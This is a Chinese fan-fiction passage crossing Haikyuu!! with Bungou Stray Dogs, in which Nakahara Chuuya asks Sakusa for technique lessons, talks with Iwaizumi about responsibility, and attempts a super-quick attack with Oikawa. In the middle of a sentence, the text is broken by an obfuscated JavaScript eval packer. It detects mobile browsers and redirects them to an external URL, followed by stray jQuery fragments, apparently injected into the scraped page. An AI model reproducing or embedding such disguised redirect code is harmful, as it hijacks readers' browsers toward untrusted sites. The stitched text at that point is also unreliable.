中原中也走到井闼山的队员中间,仿佛置身于几个巨人之中,他光速定位到始作俑者佐久早圣臣,在饭纲震撼的目光下在佐久早面前站定:“佐久早前辈,您当时在更衣室听见我打电话了对吗?”
反正也躲不过,佐久早干脆承认了:“抱歉,我不该乱说,给你造成困扰很不好意思。”
“是我的错,圣臣其实没说什么,都是我在瞎猜。”饭纲满脸歉意,“我会负责去把谣言澄清的,还需要什么补偿措施你尽管提,只要在我们能力范围内都可以。”
两人滑跪的速度太快,中原中也本也没有继续追究的意思,摇摇头:“没什么,要传也就传了,我不太在意这个,只是有件事刚好想让佐久早前辈帮忙。”
“嗯?”
找我帮忙?佐久早有些惊讶,思考了一会儿,发现自己并没有拒绝的余地,缓缓点头:“只要我力所能及。”
“可以教我技术球吗?”
这回轮到饭纲不明所以了,在他看来中原中也恰好是最不需要学技术球的那类攻手。这并不是说技术球不重要,而是因为当最稳定的力量可以突破拦网时,技术球的优先级完全是后置的,中原中也作为典型的暴力王牌,何故突然要专门来找佐久早学技术球?
他忍不住道:“恕我直言,圣臣的情况特殊,他的手腕比常人更加柔软,适合他的练习方式不一定适合你。”
中原中也面露纠结,他接触排球的时间还是太短,很多东西看得不清晰,只是模糊地知道自己光靠身体强度并不可行。见饭纲这么说,他只能颔首:“我明白了。”
原本以为是来兴师问罪的小王牌转身要离开,佐久早和饭纲对视一眼,最后佐久早叹了口气:“我也不是不能教你普适性比较高的方法。”
中原中也停住脚步,又转回佐久早身前。佐久早低头就能看见他的发旋,莫名有种面对着一只小狗的错觉。
其实佐久早很欣赏中原中也,对方衣着整洁、头发干脆利落地扎着小辫子,全身都透着干净积极的气息,比起咋咋呼呼的同龄人,成熟的不像一个一年级。再加上中原中也突出得众人皆知的力量,佐久早和饭纲有着同感——完全就是娇小版牛岛若利。
“明天晚上来一馆,有黑田监督组织的攻手晚训。”佐久早顿了顿,难得贴心地补充,“你可以和你们队里的王牌前辈一起来。”
其实中原中也不太想让岩泉一知道自己找别队攻手学技术球的事情,岩泉和及川总是同一战线,对中原中也充满着宽容和溺爱,一副“你只管扣球就行,其他的前辈来处理”的大包大揽态度,让中原中也又感动又无奈。
不过说到底学点技术总是好的,晚上回宿舍后中原中也还是提了这件事,谁知岩泉得知后竟然双手双脚赞成,然后意味深长地问中原中也:“你学技术球,是不是因为及川。”
“……算是吧。”
“我就说。”岩泉一早有预料,“那家伙对你真是溺爱过头了。”
果然全世界都能看出来,只有自己当局者迷。中原中也更加费解了,他看看岩泉一的宿舍,发现及川彻并不在,问道:“及川前辈呢?”
“他还在训练。”
“身体真的受得了吗?”中原中也都有点气笑了,“一边让王牌什么都不用管,一边又狠狠地压榨自己的潜能,这算怎么回事?等到他毕业那天,如果下一个二传做不到及川前辈这样,我还能一无所知地只顾着扣球吗?”
岩泉一察觉到中原中也有点愠恼,拍拍他的肩拉过一把椅子,让他坐下来:“我明白你的心情,说实话,作为攻手,如果二传把什么事都做完了我只会觉得挫败——因为这代表着我的能力没有得到对方的信任。”
“所以之前我也有点不明白,为什么及川对你的成长一点也不着急,明明春高和IH都迫在眉睫。”岩泉叹了口气,“不过现在我有一点理解他了。”
正因为自己经历了将近三年的失败,才更不能容忍把所有破局的希望压在后辈身上这件事,毕竟及川就是在前辈们的期许之下如此成长,最终发现了自己的“平庸”与“无能”。
白鸟泽的光辉下,是无数个奋力起跳的名字,及川彻很不幸就在其中。
“你是这一届毋庸置疑的王牌,但你也只是一年级。”岩泉一认真地看着中原中也的眼睛,“即使你已经很强,这些责任也不需要你来承担。”
岩泉一的面容坚定而温和,中原中也莫名地想起了和对方毫不相干的一个人,那个人名字叫织田作之助,和中原中也并无交集,却是太宰治的挚友,也是他叛逃的直接导火索。织田所行之事中原中也其实不算理解,最后对方潦草地死去,那些被他收养的孩子们也横尸于废墟,中原中也虽有所触动,却也只当是首领的谋划,并不作他想。
“只是抽到了一张好牌罢了。”这是中原中也在“羊”时期常说的话,能力在他眼中就等于责任,弱肉强食,这是横滨的法则,也是中原中也的世界观。
但在这个普通的世界,在青叶城西,种种不合时宜原来都只是前辈的私心而已。
诸多猜测粉碎于岩泉一的开解,中原中也感到胸口郁结的气流随着这番交谈而消弭在虚空,最后归于一片温暖的泉流中。
青城固然想打进全国,但你的高中生活也很重要,我们这些前辈的执念不该成为你们的枷锁。
岩泉又多嘴了几句,随后似乎是觉得这种说法有点矫情,不太自在地摆摆手:“你就当是及川跟你讲的吧,这应该也是他的心里话——不过那家伙从来不说就是了。”
“我明白了,谢谢你,岩泉前辈。”中原中也缓缓展露出一个笑容,掩去那些与尚且稚嫩的面容不相符的成熟,变得真正意气风发起来。
见他听进去了,岩泉一笑着补充道:“真的想学技术球我可以教你,不过我在这方面懂得肯定不如佐久早他们多。”
解开了这个小心结,中原中也第二天的训练状态非常好,十分理直气壮地没有跟着及川彻的暗号起跳。
及川彻满头黑线:“小狂犬说昨晚小岩和你聊了半天,不会是在编排我吧?”
“没有,及川前辈。”中原中也当然不会多说什么,“麻烦前辈下次的托球慢一点,给我看清球路的时间。”
“之前那种暴力扣球不爽快吗?”及川彻耸耸肩,“我还以为小中原比较喜欢那种打法。”
中原中也当然喜欢简单直接的暴扣,但比赛不同于战斗,即使明白了前辈的苦心,中原中也也不能心安理得地当一个被喂球的攻手。
“及川前辈明明不是会迁就攻手的二传。”
听到这种评价,及川彻略感意外,他仔细端详了中原中也好一会儿,最后嘟囔道:“其实小中原也在迁就我吧。”
虽说晃开拦网很麻烦,但这种球往哪里传都能被追上的感觉,没有二传可以拒绝!
不过中原中也都这么说了,及川也没有继续收敛的道理,他清了清嗓子,说出心里排练一万遍的打算。
“既然这样,那我们就来挑战一下小飞雄的怪人快攻,怎么样?”
日向翔阳和影山飞雄的快攻在合宿这个强者如云的地方,也惊掉了不少人的下巴,凭借这个武器,乌野甚至差点在枭谷手中拿下一回合的胜利。枭谷和井闼山都尝试过效仿这种超快攻,影山也不吝赐教,很显然没有一个人成功。
这其中固然有影山的教
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17649844|203819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
学略显晦涩的原因,但关键还是在二传上。用饭纲的话说,就是影山飞雄这种机器一般的精确度实在反人类,一般二传是没办法做到在比赛进行过程中把球稳定地托到全力起跳攻手手中的,事实上快攻失配才是比赛的常态。
即便在二传晚训的时候得知强校都已经放弃了超快攻这个武器,及川彻依旧有试一试的念头。
小飞雄是天才,那又怎样?中原中也也是天才,试试又不会死。
青城的场地渐渐让了出来,沟口贞幸回来时就看见众人围着看场地中央,扭头问岩泉怎么回事,岩泉道出及川的想法,沟口贞幸摇摇头:“上次是及川自己说的,超快攻即使配出来实用性也不高,怎么突然改主意了?”
“想炫耀一下吧。”岩泉一闭着眼都能猜到及川彻的想法,“喏,乌野的人在那边看着呢。”
不仅是乌野,连音驹都把目光往这边投过来,黑尾偏头问一旁练到省电模式的发小:“你觉得及川和中原能打出超快攻吗?”
“……反正我托不出那种球。”
超快攻的必需条件是二传的精准度属性达到ss+级别,攻手的速度也得持平,而且极其考验默契。日向和影山这种半路出家还能这么信任彼此的搭档,可能高中排球界十几年都出不了一对,其他学校想复刻肯定没这么简单。
但中原中也的属性是sss级,这点稍微让此事有了悬念。
球场上,青城俊美的二传手在2号位站定,深吸一口气,开始寻找那个高度与速度能够平衡的点。
中原中也适时起跳,给及川彻明确的参照物,手臂和球网交叠起来,连带着球馆内的灯光都被分割成无数个坐标系,如同置身于几何空间,但及川彻无法捕捉到那个明确的锚点。
影山飞雄能看见的,及川彻看不见。
这个认知让及川彻咬紧牙关,又一次失配,已经将近半个小时过去,身旁的观众少了很多,这次尝试可能会是和井闼山枭谷一样的结果。
中原中也落地,看向沉默的及川彻:“及川前辈,还试吗?”
“继续。”及川彻抬头,望向那个虚无的高空,执着道。
数不清第多少次起跳,球依旧无法停在那个最理想的位置,岩泉一的眉头越皱越紧,这场试验是无用功的想法在脑海中放大,他想上前让及川彻停下,却被一个陌生的高大男性拦住。
沟口贞幸认出来人的身份,恭敬地伸出手:“黑田监督您好,我是青城的教练沟口贞幸。”
黑田有哉,井闼山近七年的监督,带出了三届春高冠军。男人面容冷肃却没有什么架子,和沟口贞幸打过招呼后就专注地看场上的训练。沟口贞幸心念一动,顺着他的目光看向那个不停起跳的赭发少年。
“我看过乌野的超快攻,如果能够学到手,这确实是一个利器。”黑田道,“你们的二传和乌野的二传有些相似,这次尝试并不一定会无功而返。”
话音刚落,及川彻传出的球就慢了一拍。少年皱紧眉头,眼中却闪过一丝明悟。
“小中原,你全力跳。”他道。
中原中也脚步一顿,却对上了及川彻肯定的目光,像是被及川眼中的炽热所感染一般,后退几步准备助跑。
全力跳,只听得见风声。
球被传出一个迅疾的射线,及川彻额间有汗水流下,他却半点没有擦拭的余裕,这是最有可能的一次尝试,不同于乌野依托影山传球技术的怪人快攻,青城的超快攻一定是建立在中原中也恐怖的身体强度之上!
让风去追逐苍鹰。
“砰!”
不需要眨眼,球被中原中也按进网后,如同闪电一般,宣告着一场豪赌的胜利。